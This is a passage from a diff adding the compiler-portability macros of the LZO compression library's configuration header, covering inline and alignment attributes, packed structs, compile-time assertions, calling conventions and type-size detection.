defined(__lzo_inline) +# ifndef __lzo_HAVE_inline +# define __lzo_HAVE_inline 1 +# endif +#else +# define __lzo_inline /*empty*/ +#endif +#if !defined(__lzo_forceinline) +#if (LZO_CC_GNUC >= 0x030200ul) +# define __lzo_forceinline __inline__ __attribute__((__always_inline__)) +#elif (LZO_CC_IBMC >= 700) +# define __lzo_forceinline __inline__ __attribute__((__always_inline__)) +#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) +# define __lzo_forceinline __forceinline +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) +# define __lzo_forceinline __inline__ __attribute__((__always_inline__)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_forceinline __inline__ __attribute__((__always_inline__)) +#elif (LZO_CC_MSC && (_MSC_VER >= 1200)) +# define __lzo_forceinline __forceinline +#elif (LZO_CC_PGI >= 0x0d0a00ul) +# define __lzo_forceinline __inline__ __attribute__((__always_inline__)) +#elif (LZO_CC_SUNPROC >= 0x5100) +# define __lzo_forceinline __inline__ __attribute__((__always_inline__)) +#endif +#endif +#if defined(__lzo_forceinline) +# ifndef __lzo_HAVE_forceinline +# define __lzo_HAVE_forceinline 1 +# endif +#else +# define __lzo_forceinline __lzo_inline +#endif +#if !defined(__lzo_noinline) +#if 1 && (LZO_ARCH_I386) && (LZO_CC_GNUC >= 0x040000ul) && (LZO_CC_GNUC < 0x040003ul) +# define __lzo_noinline __attribute__((__noinline__,__used__)) +#elif (LZO_CC_GNUC >= 0x030200ul) +# define __lzo_noinline __attribute__((__noinline__)) +#elif (LZO_CC_IBMC >= 700) +# define __lzo_noinline __attribute__((__noinline__)) +#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 600)) +# define __lzo_noinline __declspec(noinline) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) +# define __lzo_noinline __attribute__((__noinline__)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_noinline __attribute__((__noinline__)) +#elif (LZO_CC_MSC && (_MSC_VER >= 1300)) +# define __lzo_noinline __declspec(noinline) +#elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x3200) && (LZO_OS_WIN32 || LZO_OS_WIN64)) +# if defined(__cplusplus) +# else +# define __lzo_noinline __declspec(noinline) +# endif +#elif (LZO_CC_PGI >= 0x0d0a00ul) +# define __lzo_noinline __attribute__((__noinline__)) +#elif (LZO_CC_SUNPROC >= 0x5100) +# define __lzo_noinline __attribute__((__noinline__)) +#endif +#endif +#if defined(__lzo_noinline) +# ifndef __lzo_HAVE_noinline +# define __lzo_HAVE_noinline 1 +# endif +#else +# define __lzo_noinline /*empty*/ +#endif +#if (__lzo_HAVE_forceinline || __lzo_HAVE_noinline) && !(__lzo_HAVE_inline) +# error "unexpected configuration - check your compiler defines" +#endif +#if !defined(__lzo_static_inline) +#if (LZO_CC_IBMC) +# define __lzo_static_inline __lzo_gnuc_extension__ static __lzo_inline +#endif +#endif +#if !defined(__lzo_static_inline) +# define __lzo_static_inline static __lzo_inline +#endif +#if !defined(__lzo_static_forceinline) +#if (LZO_CC_IBMC) +# define __lzo_static_forceinline __lzo_gnuc_extension__ static __lzo_forceinline +#endif +#endif +#if !defined(__lzo_static_forceinline) +# define __lzo_static_forceinline static __lzo_forceinline +#endif +#if !defined(__lzo_static_noinline) +#if (LZO_CC_IBMC) +# define __lzo_static_noinline __lzo_gnuc_extension__ static __lzo_noinline +#endif +#endif +#if !defined(__lzo_static_noinline) +# define __lzo_static_noinline static __lzo_noinline +#endif +#if !defined(__lzo_c99_extern_inline) +#if defined(__GNUC_GNU_INLINE__) +# define __lzo_c99_extern_inline __lzo_inline +#elif defined(__GNUC_STDC_INLINE__) +# define __lzo_c99_extern_inline extern __lzo_inline +#elif defined(__STDC_VERSION__) && (__STDC_VERSION__-0 >= 199901L) +# define __lzo_c99_extern_inline extern __lzo_inline +#endif +#if !defined(__lzo_c99_extern_inline) && (__lzo_HAVE_inline) +# define __lzo_c99_extern_inline __lzo_inline +#endif +#endif +#if defined(__lzo_c99_extern_inline) +# ifndef __lzo_HAVE_c99_extern_inline +# define __lzo_HAVE_c99_extern_inline 1 +# endif +#else +# define __lzo_c99_extern_inline /*empty*/ +#endif +#if !defined(__lzo_may_alias) +#if (LZO_CC_GNUC >= 0x030400ul) +# define __lzo_may_alias __attribute__((__may_alias__)) +#elif (LZO_CC_CLANG >= 0x020900ul) +# define __lzo_may_alias __attribute__((__may_alias__)) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1210)) && 0 +# define __lzo_may_alias __attribute__((__may_alias__)) +#elif (LZO_CC_PGI >= 0x0d0a00ul) && 0 +# define __lzo_may_alias __attribute__((__may_alias__)) +#endif +#endif +#if defined(__lzo_may_alias) +# ifndef __lzo_HAVE_may_alias +# define __lzo_HAVE_may_alias 1 +# endif +#else +# define __lzo_may_alias /*empty*/ +#endif +#if !defined(__lzo_noreturn) +#if (LZO_CC_GNUC >= 0x020700ul) +# define __lzo_noreturn __attribute__((__noreturn__)) +#elif (LZO_CC_IBMC >= 700) +# define __lzo_noreturn __attribute__((__noreturn__)) +#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) +# define __lzo_noreturn __declspec(noreturn) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 600)) +# define __lzo_noreturn __attribute__((__noreturn__)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_noreturn __attribute__((__noreturn__)) +#elif (LZO_CC_MSC && (_MSC_VER >= 1200)) +# define __lzo_noreturn __declspec(noreturn) +#elif (LZO_CC_PGI >= 0x0d0a00ul) +# define __lzo_noreturn __attribute__((__noreturn__)) +#endif +#endif +#if defined(__lzo_noreturn) +# ifndef __lzo_HAVE_noreturn +# define __lzo_HAVE_noreturn 1 +# endif +#else +# define __lzo_noreturn /*empty*/ +#endif +#if !defined(__lzo_nothrow) +#if (LZO_CC_GNUC >= 0x030300ul) +# define __lzo_nothrow __attribute__((__nothrow__)) +#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) && defined(__cplusplus) +# define __lzo_nothrow __declspec(nothrow) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 900)) +# define __lzo_nothrow __attribute__((__nothrow__)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_nothrow __attribute__((__nothrow__)) +#elif (LZO_CC_MSC && (_MSC_VER >= 1200)) && defined(__cplusplus) +# define __lzo_nothrow __declspec(nothrow) +#endif +#endif +#if defined(__lzo_nothrow) +# ifndef __lzo_HAVE_nothrow +# define __lzo_HAVE_nothrow 1 +# endif +#else +# define __lzo_nothrow /*empty*/ +#endif +#if !defined(__lzo_restrict) +#if (LZO_CC_GNUC >= 0x030400ul) +# define __lzo_restrict __restrict__ +#elif (LZO_CC_IBMC >= 800) && !defined(__cplusplus) +# define __lzo_restrict __restrict__ +#elif (LZO_CC_IBMC >= 1210) +# define __lzo_restrict __restrict__ +#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 600)) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 600)) +# define __lzo_restrict __restrict__ +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM) +# define __lzo_restrict __restrict__ +#elif (LZO_CC_MSC && (_MSC_VER >= 1400)) +# define __lzo_restrict __restrict +#elif (LZO_CC_PGI >= 0x0d0a00ul) +# define __lzo_restrict __restrict__ +#endif +#endif +#if defined(__lzo_restrict) +# ifndef __lzo_HAVE_restrict +# define __lzo_HAVE_restrict 1 +# endif +#else +# define __lzo_restrict /*empty*/ +#endif +#if !defined(__lzo_alignof) +#if (LZO_CC_ARMCC || LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) +# define __lzo_alignof(e) __alignof__(e) +#elif (LZO_CC_GHS) && !defined(__cplusplus) +# define __lzo_alignof(e) __alignof__(e) +#elif (LZO_CC_IBMC >= 600) +# define __lzo_alignof(e) (__lzo_gnuc_extension__ __alignof__(e)) +#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 700)) +# define __lzo_alignof(e) __alignof__(e) +#elif (LZO_CC_MSC && (_MSC_VER >= 1300)) +# define __lzo_alignof(e) __alignof(e) +#elif (LZO_CC_SUNPROC >= 0x5100) +# define __lzo_alignof(e) __alignof__(e) +#endif +#endif +#if defined(__lzo_alignof) +# ifndef __lzo_HAVE_alignof +# define __lzo_HAVE_alignof 1 +# endif +#endif +#if !defined(__lzo_struct_packed) +#if (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus) +#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020700ul)) +#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) && defined(__cplusplus) +#elif (LZO_CC_PCC && (LZO_CC_PCC < 0x010100ul)) +#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC < 0x5110)) && !defined(__cplusplus) +#elif (LZO_CC_GNUC >= 0x030400ul) && !(LZO_CC_PCC_GNUC) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) +# define __lzo_struct_packed(s) struct s { +# define __lzo_struct_packed_end() } __attribute__((__gcc_struct__,__packed__)); +# define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__gcc_struct__,__packed__)); +#elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || (LZO_CC_PGI >= 0x0d0a00ul) || (LZO_CC_SUNPROC >= 0x5100)) +# define __lzo_struct_packed(s) struct s { +# define __lzo_struct_packed_end() } __attribute__((__packed__)); +# define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__packed__)); +#elif (LZO_CC_IBMC >= 700) +# define __lzo_struct_packed(s) __lzo_gnuc_extension__ struct s { +# define __lzo_struct_packed_end() } __attribute__((__packed__)); +# define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__packed__)); +#elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300)) +# define __lzo_struct_packed(s) __pragma(pack(push,1)) struct s { +# define __lzo_struct_packed_end() } __pragma(pack(pop)); +#elif (LZO_CC_WATCOMC && (__WATCOMC__ >= 900)) +# define __lzo_struct_packed(s) _Packed struct s { +# define __lzo_struct_packed_end() }; +#endif +#endif +#if defined(__lzo_struct_packed) && !defined(__lzo_struct_packed_ma) +# define __lzo_struct_packed_ma(s) __lzo_struct_packed(s) +#endif +#if defined(__lzo_struct_packed_end) && !defined(__lzo_struct_packed_ma_end) +# define __lzo_struct_packed_ma_end() __lzo_struct_packed_end() +#endif +#if !defined(__lzo_byte_struct) +#if defined(__lzo_struct_packed) +# define __lzo_byte_struct(s,n) __lzo_struct_packed(s) unsigned char a[n]; __lzo_struct_packed_end() +# define __lzo_byte_struct_ma(s,n) __lzo_struct_packed_ma(s) unsigned char a[n]; __lzo_struct_packed_ma_end() +#elif (LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_PGI || (LZO_CC_SUNPROC >= 0x5100)) +# define __lzo_byte_struct(s,n) struct s { unsigned char a[n]; } __attribute__((__packed__)); +# define __lzo_byte_struct_ma(s,n) struct s { unsigned char a[n]; } __lzo_may_alias __attribute__((__packed__)); +#endif +#endif +#if defined(__lzo_byte_struct) && !defined(__lzo_byte_struct_ma) +# define __lzo_byte_struct_ma(s,n) __lzo_byte_struct(s,n) +#endif +#if !defined(__lzo_struct_align16) && (__lzo_HAVE_alignof) +#if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x030000ul)) +#elif (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus) +#elif (LZO_CC_CILLY || LZO_CC_PCC) +#elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300)) +# define __lzo_struct_align16(s) struct __declspec(align(16)) s { +# define __lzo_struct_align16_end() }; +# define __lzo_struct_align32(s) struct __declspec(align(32)) s { +# define __lzo_struct_align32_end() }; +# define __lzo_struct_align64(s) struct __declspec(align(64)) s { +# define __lzo_struct_align64_end() }; +#elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || (LZO_CC_IBMC >= 700) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_struct_align16(s) struct s { +# define __lzo_struct_align16_end() } __attribute__((__aligned__(16))); +# define __lzo_struct_align32(s) struct s { +# define __lzo_struct_align32_end() } __attribute__((__aligned__(32))); +# define __lzo_struct_align64(s) struct s { +# define __lzo_struct_align64_end() } __attribute__((__aligned__(64))); +#endif +#endif +#if !defined(__lzo_union_um) +#if (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus) +#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020700ul)) +#elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) && defined(__cplusplus) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER < 810)) +#elif (LZO_CC_PCC && (LZO_CC_PCC < 0x010100ul)) +#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC < 0x5110)) && !defined(__cplusplus) +#elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || (LZO_CC_PGI >= 0x0d0a00ul) || (LZO_CC_SUNPROC >= 0x5100)) +# define __lzo_union_am(s) union s { +# define __lzo_union_am_end() } __lzo_may_alias; +# define __lzo_union_um(s) union s { +# define __lzo_union_um_end() } __lzo_may_alias __attribute__((__packed__)); +#elif (LZO_CC_IBMC >= 700) +# define __lzo_union_am(s) __lzo_gnuc_extension__ union s { +# define __lzo_union_am_end() } __lzo_may_alias; +# define __lzo_union_um(s) __lzo_gnuc_extension__ union s { +# define __lzo_union_um_end() } __lzo_may_alias __attribute__((__packed__)); +#elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300)) +# define __lzo_union_um(s) __pragma(pack(push,1)) union s { +# define __lzo_union_um_end() } __pragma(pack(pop)); +#elif (LZO_CC_WATCOMC && (__WATCOMC__ >= 900)) +# define __lzo_union_um(s) _Packed union s { +# define __lzo_union_um_end() }; +#endif +#endif +#if !defined(__lzo_union_am) +# define __lzo_union_am(s) union s { +# define __lzo_union_am_end() }; +#endif +#if !defined(__lzo_constructor) +#if (LZO_CC_GNUC >= 0x030400ul) +# define __lzo_constructor __attribute__((__constructor__,__used__)) +#elif (LZO_CC_GNUC >= 0x020700ul) +# define __lzo_constructor __attribute__((__constructor__)) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) +# define __lzo_constructor __attribute__((__constructor__,__used__)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_constructor __attribute__((__constructor__)) +#endif +#endif +#if defined(__lzo_constructor) +# ifndef __lzo_HAVE_constructor +# define __lzo_HAVE_constructor 1 +# endif +#endif +#if !defined(__lzo_destructor) +#if (LZO_CC_GNUC >= 0x030400ul) +# define __lzo_destructor __attribute__((__destructor__,__used__)) +#elif (LZO_CC_GNUC >= 0x020700ul) +# define __lzo_destructor __attribute__((__destructor__)) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) +# define __lzo_destructor __attribute__((__destructor__,__used__)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_destructor __attribute__((__destructor__)) +#endif +#endif +#if defined(__lzo_destructor) +# ifndef __lzo_HAVE_destructor +# define __lzo_HAVE_destructor 1 +# endif +#endif +#if (__lzo_HAVE_destructor) && !(__lzo_HAVE_constructor) +# error "unexpected configuration - check your compiler defines" +#endif +#if !defined(__lzo_likely) && !defined(__lzo_unlikely) +#if (LZO_CC_GNUC >= 0x030200ul) +# define __lzo_likely(e) (__builtin_expect(!!(e),1)) +# define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) +#elif (LZO_CC_IBMC >= 1010) +# define __lzo_likely(e) (__builtin_expect(!!(e),1)) +# define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) +#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 800)) +# define __lzo_likely(e) (__builtin_expect(!!(e),1)) +# define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_likely(e) (__builtin_expect(!!(e),1)) +# define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) +#endif +#endif +#if defined(__lzo_likely) +# ifndef __lzo_HAVE_likely +# define __lzo_HAVE_likely 1 +# endif +#else +# define __lzo_likely(e) (e) +#endif +#if defined(__lzo_unlikely) +# ifndef __lzo_HAVE_unlikely +# define __lzo_HAVE_unlikely 1 +# endif +#else +# define __lzo_unlikely(e) (e) +#endif +#if !defined(__lzo_static_unused_void_func) +# if 1 && (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) +# define __lzo_static_unused_void_func(f) static void __attribute__((__unused__)) f(void) +# else +# define __lzo_static_unused_void_func(f) static __lzo_inline void f(void) +# endif +#endif +#if !defined(__lzo_loop_forever) +# if (LZO_CC_IBMC) +# define __lzo_loop_forever() LZO_BLOCK_BEGIN for (;;) { ; } LZO_BLOCK_END +# else +# define __lzo_loop_forever() do { ; } while __lzo_cte(1) +# endif +#endif +#if !defined(__lzo_unreachable) +#if (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x020800ul)) +# define __lzo_unreachable() __builtin_unreachable(); +#elif (LZO_CC_GNUC >= 0x040500ul) +# define __lzo_unreachable() __builtin_unreachable(); +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1300)) && 1 +# define __lzo_unreachable() __builtin_unreachable(); +#endif +#endif +#if defined(__lzo_unreachable) +# ifndef __lzo_HAVE_unreachable +# define __lzo_HAVE_unreachable 1 +# endif +#else +# if 0 +# define __lzo_unreachable() ((void)0); +# else +# define __lzo_unreachable() __lzo_loop_forever(); +# endif +#endif +#ifndef __LZO_CTA_NAME +#if (LZO_CFG_USE_COUNTER) +# define __LZO_CTA_NAME(a) LZO_PP_ECONCAT2(a,__COUNTER__) +#else +# define __LZO_CTA_NAME(a) LZO_PP_ECONCAT2(a,__LINE__) +#endif +#endif +#if !defined(LZO_COMPILE_TIME_ASSERT_HEADER) +# if (LZO_CC_AZTECC || LZO_CC_ZORTECHC) +# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-!(e)]; LZO_EXTERN_C_END +# elif (LZO_CC_DMC || LZO_CC_SYMANTECC) +# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1u-2*!(e)]; LZO_EXTERN_C_END +# elif (LZO_CC_TURBOC && (__TURBOC__ == 0x0295)) +# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-!(e)]; LZO_EXTERN_C_END +# elif (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020900ul)) && defined(__cplusplus) +# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN int __LZO_CTA_NAME(lzo_cta_f__)(int [1-2*!(e)]); LZO_EXTERN_C_END +# elif (LZO_CC_GNUC) && defined(__CHECKER__) && defined(__SPARSE_CHECKER__) +# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN enum {__LZO_CTA_NAME(lzo_cta_e__)=1/!!(e)} __attribute__((__unused__)); LZO_EXTERN_C_END +# else +# define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-2*!(e)]; LZO_EXTERN_C_END +# endif +#endif +#if !defined(LZO_COMPILE_TIME_ASSERT) +# if (LZO_CC_AZTECC) +# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-!(e)];} +# elif (LZO_CC_DMC || LZO_CC_PACIFICC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC) +# define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break; +# elif (LZO_CC_GNUC) && defined(__CHECKER__) && defined(__SPARSE_CHECKER__) +# define LZO_COMPILE_TIME_ASSERT(e) {(void) (0/!!(e));} +# elif (LZO_CC_GNUC >= 0x040700ul) && (LZO_CFG_USE_COUNTER) && defined(__cplusplus) +# define LZO_COMPILE_TIME_ASSERT(e) {enum {__LZO_CTA_NAME(lzo_cta_e__)=1/!!(e)} __attribute__((__unused__));} +# elif (LZO_CC_GNUC >= 0x040700ul) +# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-2*!(e)] __attribute__((__unused__));} +# elif (LZO_CC_MSC && (_MSC_VER < 900)) +# define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break; +# elif (LZO_CC_TURBOC && (__TURBOC__ == 0x0295)) +# define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break; +# else +# define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-2*!(e)];} +# endif +#endif +LZO_COMPILE_TIME_ASSERT_HEADER(1 == 1) +#if defined(__cplusplus) +extern "C" { LZO_COMPILE_TIME_ASSERT_HEADER(2 == 2) } +#endif +LZO_COMPILE_TIME_ASSERT_HEADER(3 == 3) +#if (LZO_ARCH_I086 || LZO_ARCH_I386) && (LZO_OS_DOS16 || LZO_OS_DOS32 || LZO_OS_OS2 || LZO_OS_OS216 || LZO_OS_WIN16 || LZO_OS_WIN32 || LZO_OS_WIN64) +# if (LZO_CC_GNUC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PACIFICC) +# elif (LZO_CC_DMC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC) +# define __lzo_cdecl __cdecl +# define __lzo_cdecl_atexit /*empty*/ +# define __lzo_cdecl_main __cdecl +# if (LZO_OS_OS2 && (LZO_CC_DMC || LZO_CC_SYMANTECC)) +# define __lzo_cdecl_qsort __pascal +# elif (LZO_OS_OS2 && (LZO_CC_ZORTECHC)) +# define __lzo_cdecl_qsort _stdcall +# else +# define __lzo_cdecl_qsort __cdecl +# endif +# elif (LZO_CC_WATCOMC) +# define __lzo_cdecl __cdecl +# else +# define __lzo_cdecl __cdecl +# define __lzo_cdecl_atexit __cdecl +# define __lzo_cdecl_main __cdecl +# define __lzo_cdecl_qsort __cdecl +# endif +# if (LZO_CC_GNUC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PACIFICC || LZO_CC_WATCOMC) +# elif (LZO_OS_OS2 && (LZO_CC_DMC || LZO_CC_SYMANTECC)) +# define __lzo_cdecl_sighandler __pascal +# elif (LZO_OS_OS2 && (LZO_CC_ZORTECHC)) +# define __lzo_cdecl_sighandler _stdcall +# elif (LZO_CC_MSC && (_MSC_VER >= 1400)) && defined(_M_CEE_PURE) +# define __lzo_cdecl_sighandler __clrcall +# elif (LZO_CC_MSC && (_MSC_VER >= 600 && _MSC_VER < 700)) +# if defined(_DLL) +# define __lzo_cdecl_sighandler _far _cdecl _loadds +# elif defined(_MT) +# define __lzo_cdecl_sighandler _far _cdecl +# else +# define __lzo_cdecl_sighandler _cdecl +# endif +# else +# define __lzo_cdecl_sighandler __cdecl +# endif +#elif (LZO_ARCH_I386) && (LZO_CC_WATCOMC) +# define __lzo_cdecl __cdecl +#elif (LZO_ARCH_M68K && LZO_OS_TOS && (LZO_CC_PUREC || LZO_CC_TURBOC)) +# define __lzo_cdecl cdecl +#endif +#if !defined(__lzo_cdecl) +# define __lzo_cdecl /*empty*/ +#endif +#if !defined(__lzo_cdecl_atexit) +# define __lzo_cdecl_atexit /*empty*/ +#endif +#if !defined(__lzo_cdecl_main) +# define __lzo_cdecl_main /*empty*/ +#endif +#if !defined(__lzo_cdecl_qsort) +# define __lzo_cdecl_qsort /*empty*/ +#endif +#if !defined(__lzo_cdecl_sighandler) +# define __lzo_cdecl_sighandler /*empty*/ +#endif +#if !defined(__lzo_cdecl_va) +# define __lzo_cdecl_va __lzo_cdecl +#endif +#if !(LZO_CFG_NO_WINDOWS_H) +#if !defined(LZO_HAVE_WINDOWS_H) +#if (LZO_OS_CYGWIN || (LZO_OS_EMX && defined(__RSXNT__)) || LZO_OS_WIN32 || LZO_OS_WIN64) +# if (LZO_CC_WATCOMC && (__WATCOMC__ < 1000)) +# elif (LZO_OS_WIN32 && LZO_CC_GNUC) && defined(__PW32__) +# elif ((LZO_OS_CYGWIN || defined(__MINGW32__)) && (LZO_CC_GNUC && (LZO_CC_GNUC < 0x025f00ul))) +# else +# define LZO_HAVE_WINDOWS_H 1 +# endif +#endif +#endif +#endif +#ifndef LZO_SIZEOF_SHORT +#if defined(SIZEOF_SHORT) +# define LZO_SIZEOF_SHORT (SIZEOF_SHORT) +#elif defined(__SIZEOF_SHORT__) +# define LZO_SIZEOF_SHORT (__SIZEOF_SHORT__) +#endif +#endif +#ifndef LZO_SIZEOF_INT +#if defined(SIZEOF_INT) +# define LZO_SIZEOF_INT (SIZEOF_INT) +#elif defined(__SIZEOF_INT__) +# define LZO_SIZEOF_INT (__SIZEOF_INT__) +#endif +#endif +#ifndef LZO_SIZEOF_LONG +#if defined(SIZEOF_LONG) +# define LZO_SIZEOF_LONG (SIZEOF_LONG) +#elif defined(__SIZEOF_LONG__) +# define LZO_SIZEOF_LONG (__SIZEOF_LONG__) +#endif +#endif +#ifndef LZO_SIZEOF_LONG_LONG +#if defined(SIZEOF_LONG_LONG) +# define LZO_SIZEOF_LONG_LONG (SIZEOF_LONG_LONG) +#elif defined(__SIZEOF_LONG_LONG__) +# define LZO_SIZEOF_LONG_LONG (__SIZEOF_LONG_LONG__) +#endif +#endif +#ifndef LZO_SIZEOF___INT16 +#if defined(SIZEOF___INT16) +# define LZO_SIZEOF___INT16 (SIZEOF___INT16) +#endif +#endif +#ifndef LZO_SIZEOF___INT32 +#if defined(SIZEOF___INT32) +# define LZO_SIZEOF___INT32 (SIZEOF___INT32) +#endif +#endif +#ifndef LZO_SIZEOF___INT64 +#if defined(SIZEOF___INT64) +# define LZO_SIZEOF___INT64 (SIZEOF___INT64) +#endif +#endif +#ifndef LZO_SIZEOF_VOID_P +#if defined(SIZEOF_VOID_P) +# define LZO_SIZEOF_VOID_P (SIZEOF_VOID_P) +#elif defined(__SIZEOF_POINTER__) +# define LZO_SIZEOF_VOID_P (__SIZEOF_POINTER__) +#endif +#endif +#ifndef LZO_SIZEOF_SIZE_T +#if defined(SIZEOF_SIZE_T) +# define LZO_SIZEOF_SIZE_T (SIZEOF_SIZE_T) +#elif defined(__SIZEOF_SIZE_T__) +# define LZO_SIZEOF_SIZE_T (__SIZEOF_SIZE_T__) +#endif +#endif +#ifndef LZO_SIZEOF_PTRDIFF_T +#if defined(SIZEOF_PTRDIFF_T) +# define LZO_SIZEOF_PTRDIFF_T (SIZEOF_PTRDIFF_T) +#elif defined(__SIZEOF_PTRDIFF_T__) +# define LZO_SIZEOF_PTRDIFF_T (__SIZEOF_PTRDIFF_T__) +#endif +#endif +#define __LZO_LSR(x,b) (((x)+0ul) >> (b)) +#if !defined(LZO_SIZEOF_SHORT) +# if (LZO_ARCH_CRAY_PVP) +# define LZO_SIZEOF_SHORT 8 +# elif (USHRT_MAX == LZO_0xffffL) +# define LZO_SIZEOF_SHORT 2 +# elif (__LZO_LSR(USHRT_MAX,7) == 1) +# define LZO_SIZEOF_SHORT 1 +# elif (__LZO_LSR(USHRT_MAX,15) == 1) +# define LZO_SIZEOF_SHORT 2 +# elif (__LZO_LSR(USHRT_MAX,31) == 1) +# define LZO_SIZEOF_SHORT 4 +# elif (__LZO_LSR(USHRT_MAX,63) == 1) +# define LZO_SIZEOF_SHORT 8 +# elif (__LZO_LSR(USHRT_MAX,127) == 1) +# define LZO_SIZEOF_SHORT 16 +# else +# error "LZO_SIZEOF_SHORT" +# endif +#endif +LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_SHORT == sizeof(short)) +#if !defined(LZO_SIZEOF_INT) +# if (LZO_ARCH_CRAY_PVP) +# define LZO_SIZEOF_INT 8 +# elif (UINT_MAX == LZO_0xffffL) +# define LZO_SIZEOF_INT 2 +# elif (UINT_MAX == LZO_0xffffffffL) +# define LZO_SIZEOF_INT 4 +# elif (__LZO_LSR(UINT_MAX,7) == 1) +# define LZO_SIZEOF_INT 1 +# elif (__LZO_LSR(UINT_MAX,15) == 1) +# define LZO_SIZEOF_INT 2 +# elif (__LZO_LSR(UINT_MAX,31) == 1) +# define 